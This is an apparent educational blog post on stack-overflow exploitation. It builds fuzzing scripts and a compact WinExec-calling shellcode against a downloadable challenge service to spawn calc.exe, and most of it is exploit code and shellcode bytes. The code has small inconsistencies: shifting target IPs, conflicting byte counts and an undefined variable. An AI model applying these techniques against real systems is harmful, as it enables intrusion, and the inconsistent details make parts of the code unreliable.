Windows Exploit Development: Utilizing imported functions (WinExec)
TLDR; this is a basic intro-level blog post that teaches how to utilize imported functions like WinExec to develop a payload that spawns calc.exe in a restricted memory space.
We have a service that is vulnerable to stack overflow vulnerability with no memory protections. We will need to go through the process of developing a simple PoC that spawns calc.exe. The main challenge is to develop a payload that is less than 30 bytes. You can download the challenge from Here.
Starting from the top. Let’s fuzz the service using something like the code:
#!/usr/bin/python import socket, os, time for i in range(40): crash = "A" * i print str(len(crash)) buffer = crash + "\r\n" print "[*] Sending exploit!" expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM ) expl.connect(("22.214.171.124", 9999)) expl.send(buffer) time.sleep(1)
The binary crashes after sending 18 characters. We can say that we control the EIP around after 18 characters, so let’s send 14 characters of
As and 4
Bs at the end.
#!/usr/bin/python import socket, os crash = "A" * 18 + "B" * 4 print str(len(crash)) buffer = crash + "\r\n" print "[*] Sending exploit!" expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM ) expl.connect(("126.96.36.199", 9999)) expl.send(buffer)
The below screenshot shows that the EBO gets overwritten and breaks the software. It gets overwritten with two
As. The screenshot also shows that the stack is missing only 6 bytes to overwrite the EIP.
Based on that information, we can add six more bytes and check if the EIP is going to be changed with
Bs or not.
#!/usr/bin/python import socket, os crash = "A" * 24 + "B" * 4 print str(len(crash)) buffer = crash + "\r\n" print "[*] Sending exploit!" expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM ) expl.connect(("188.8.131.52", 9999)) expl.send(buffer)
Based on that, we know that the EI pointer gets changed after 24 bytes. We can use mona to find a jump ESP instruction.
The chosen address is
0x625012A0 which points to a
JMP ESP instrection so we can go back to the stack again. The pseudocode would look like this:
"A" * 24 + EIP_Address
Now, the space we have and can work with is only 24 bytes. This is not that much of a space to accomplish the goal. If we, for example, use MSFvenom to generate a payload to run calc, the payload will be too long for the space we have.
If we decompile the service, we will be able to see that WinExec() is used. On x32dbg, if we go to the Symbols tab, we will see that the function WinExec is imported as shown below:
Since the memory protections are disabled, we know that we can use any function from the binary itself, so that means we can use WinExec to accomplish our goal.
Based on Microsoft docs, WinExec needs two arguments:
UINT WinExec( LPCSTR lpCmdLine, UINT uCmdShow );
lpCmdLine which should be an address of a buffer that represents the command line arguments. uCmdShow which is for the display options. In our case, lpCmdLine would be just “calc” and uCmdShow would be SW_HIDE which is just 0.
Let’s analyze the memory space we have after the jump redirects the flow and goes back to the ESP address. We can see that we don’t have that much space after the ESP gets overwritten. But we have more than 20 bytes before the ESP. as shown below:
That means that we can place the payload at the beginning of the buffer and then the EIP value with an address of a jump. After the jump, we can have a short jump so that after the binary gets exploited, the EIP jumps backward to the start of the buffer and execute our payload. The next diagram should show that:
Going back to writing the payload, after we go back to the stack, we need to place a short backward jump like this:
"A" * 24 + EIP_Address + Backward_SHORT_Jump
Now, we need to utilize WinExec. First, we need to get the address of the instruction that calls WinExec. That can be done by going to the Symbols tab. and finding the address of WinExec, then going to where it is being used:
In the above example, WinExec is at 0x004018C4, but we also can use 0x004018C2 by using an instruction that calls WinExec, not WinExec itself.
Now, we can start working on WinExec arguments. The first argument is just
calc. The second is
0. So we need to push these two to the stack first, then call WinExec.
To do that, we can start pushing the first argument, which is uCmdShow. We can do that by zeroing out a register then pushing it.
xor eax,eax push eax
Then, we need to push the command line argument.
calc consists of just 4 bytes, which are
63 61 6c 63. Having only 4 bytes makes it easy for us to push to the stack. If we have more than 4 bytes, we would need to push them in chunks of 4 bytes from the last to the first. In this case, we don’t need to do that.
63 61 6c 63
Let’s assume that the location of the buffer is ESP. Let’s assume that for now and change it later after we know where we can put it. That means we can push the ESP address to the stack as the second argument. That can be done this way:
PUSH ESP POP EAX PUSH EAX
Now, we need to push the address of the call function. The address is 0x004018C2, but it has a null byte, and that is an issue. But we can add an additional byte at the most right then, shifting the address to the right, which will add the null to match the address of the instruction we want.
So the instructions are the next:
mov eax,0x4018C288 shr eax,0x8
Then we need to jump to 0x004018C2, or call 0x004018C4. We cannot call 0x004018C2 because it pushes the EIP pointer to the stack when it jumps; the
call instruction changes the stack, which means it changes the arguments WinExec uses, so be aware of that.
By now, we have a total of 19 bytes as shown below:
# The first argument 0: 31 c0 xor eax,eax 2: 50 push eax # The second argument 3: 54 push esp 4: 58 pop eax 5: 50 push eax # The address of the call function 6: b8 88 c2 18 40 mov eax,0x4018c288 b: c1 e8 08 shr eax,0x8 e: ff e0 jmp eax
This is a total of 16 bytes, and we need to add an instruction to manipulate the ESP address to a new address where we can place the
calc string. So for the
calc buffer, we can place it after the
That means we can edit the EAX from instruction number
4 by adding 4 bytes to the address of the ESP, which has to be the address of the
That means that the current payload should look like this:
the_first_argument + the_second_argument + jump_to_call_function + EIP_Address + Backward_SHORT_Jump
payload = "" # xor eax,eax # push eax payload += "\x31\xC0\x50" # push esp # pop eax # add eax,0x4 # push eax payload += "\x54\x58\x83\xC0\x04\x50" # 004018C2 CALL <JMP.&KERNEL32.WinExec> ; \WinExec # mov eax,0x4018C288 payload += "\xB8\x88\xC2\x18\x40" # shr eax,0x8 payload += "\xC1\xE8\x08" # jmp eax payload += "\xFF\xE0" # 625012A0 - JMP ESP EIP_Address = "\xA0\x12\x50\x62" # short backward jump Backward_SHORT_Jump = "\xEB\xE2" # Random bytes to fill the rest of the space random = "A" * ( 20 - len(recv)) # The pointer of "calc" string calc_string = "\x63\x61\x6c\x63" + "\x00" # The final payload crash = "A" * 2 + payload + random + EIP_Address + Backward_SHORT_Jump + "\x90" * 6 + calc_string
This should work, so let’s try it.
It overwrites the EIP and goes to the
jump ESP instruction.
A step forward:
It raches the backword jump.
It jumps backward, landing at the beginning of the payload.
Now, it pushes the first argument into the stack, which is right below the payload. Until now, there is no problem.
But when it pushes the second argument, it overwrites our payload and that is a problem we need to deal with.
To fix this, we can change the ESP first before pushing data into it. We can do that using the
add instruction like this:
Since we don’t control that much of a space after the
Backward_SHORT_Jump jump, we need to move it near to the original ESP so we can use it later for the
0x08 is enough to fix the problem. The next diagram shows how it show work.
The payload should look like this now:
0: 83 c4 08 add esp,0x8 3: 31 c0 xor eax,eax 5: 50 push eax 6: 54 push esp 7: 58 pop eax 8: 83 c0 04 add eax,0x4 b: 50 push eax c: b8 88 c2 18 40 mov eax,0x4018c288 11: c1 e8 08 shr eax,0x8 14: ff e0 jmp eax
That means we have the
Backward_SHORT_Jump + 6 bytes of
nops and finally, the
Let’s try it again:
It didn’t overwrite our instructions! This is a good sign. Now, we need to make sure that it pushes the right address for the
calc_string string. The payload should look like this:
payload = "" # add esp,0x8 payload += "\x83\xC4\x08" # xor eax,eax # push eax payload += "\x31\xC0\x50" # push esp # pop eax # add eax,0x4 # push eax payload += "\x54\x58\x83\xC0\x04\x50" # 004018C2 CALL <JMP.&KERNEL32.WinExec> ; \WinExec # mov eax,0x4018C288 payload += "\xB8\x88\xC2\x18\x40" # shr eax,0x8 payload += "\xC1\xE8\x08" # jmp eax payload += "\xFF\xE0" # 625012A0 - JMP ESP EIP_Address = "\xA0\x12\x50\x62" # short backward jump Backward_SHORT_Jump = "\xEB\xE2" # Random bytes to fill the rest of the space random = "A" * ( 20 - len(payload)) # The pointer of "calc" string calc_string = "\x63\x61\x6c\x63" + "\x00" # The final payload crash = "A" * 2 + payload + random + EIP_Address + Backward_SHORT_Jump + "\x90" * 6 + calc_string
Let’s try it now and see if it works:
and yes it works.
We found a vulnerability in a service, then found the right address to change the EIP. Then found a good
jmp ESP to jump back to the ESP. After the execution flow gets redirected to the ESP, it jumps back to the beginning of the payload. In the way, we faced a couple of obstacles, and we solved them after debugging the code. The next diagram shows the payload flow.
With very limited space, we were able to develop a payload that utilizes the imported function WinExec to execute shellcode commands. That was done by understanding the binary we were trying to exploit. The usage of msfvenom to generate payloads is very helpful, but it’s not always the best way. Studying the binary and using its functions sometimes is more efficient.